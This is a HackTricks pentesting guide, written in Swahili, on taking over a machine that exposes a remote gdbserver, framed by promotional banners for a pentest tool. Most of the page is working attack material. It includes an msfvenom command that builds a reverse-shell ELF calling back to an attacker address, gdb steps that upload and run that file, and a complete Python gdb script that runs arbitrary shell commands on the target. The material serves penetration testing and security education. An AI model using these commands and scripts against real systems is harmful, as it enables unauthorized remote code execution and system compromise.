hacktricks/src/network-services-pentesting/pentesting-remote-gdbserver.md

# Pentesting Remote GdbServer

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<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

**Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu**

**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.

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## **Taarifa za Msingi**

**gdbserver** ni zana inayowezesha ufuatiliaji wa programu kwa mbali. Inafanya kazi pamoja na programu inayohitaji ufuatiliaji kwenye mfumo mmoja, inayoitwa "lengo." Mpangilio huu unaruhusu **GNU Debugger** kuungana kutoka mashine tofauti, "mwenyeji," ambapo msimbo wa chanzo na nakala ya binary ya programu inayofuatiliwa zimehifadhiwa. Muunganisho kati ya **gdbserver** na debugger unaweza kufanywa kupitia TCP au laini ya serial, ikiruhusu mipangilio ya ufuatiliaji yenye kubadilika.

Unaweza kufanya **gdbserver isikilize kwenye bandari yoyote** na kwa sasa **nmap haiwezi kutambua huduma hiyo**.

## Utekelezaji

### Pakia na Tekeleza

Unaweza kwa urahisi kuunda **elf backdoor na msfvenom**, ipakie na uitekeleze:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```
### Teua amri zisizo na mpangilio

Kuna njia nyingine ya **kufanya debugger iteue amri zisizo na mpangilio kupitia** [**script ya kawaida ya python iliyochukuliwa hapa**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls
```
Kwanza kabisa **unda skripti hii kwa ndani**:
```python:remote-cmd.py
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()
```
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

**Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu**

**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kuongeza mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.

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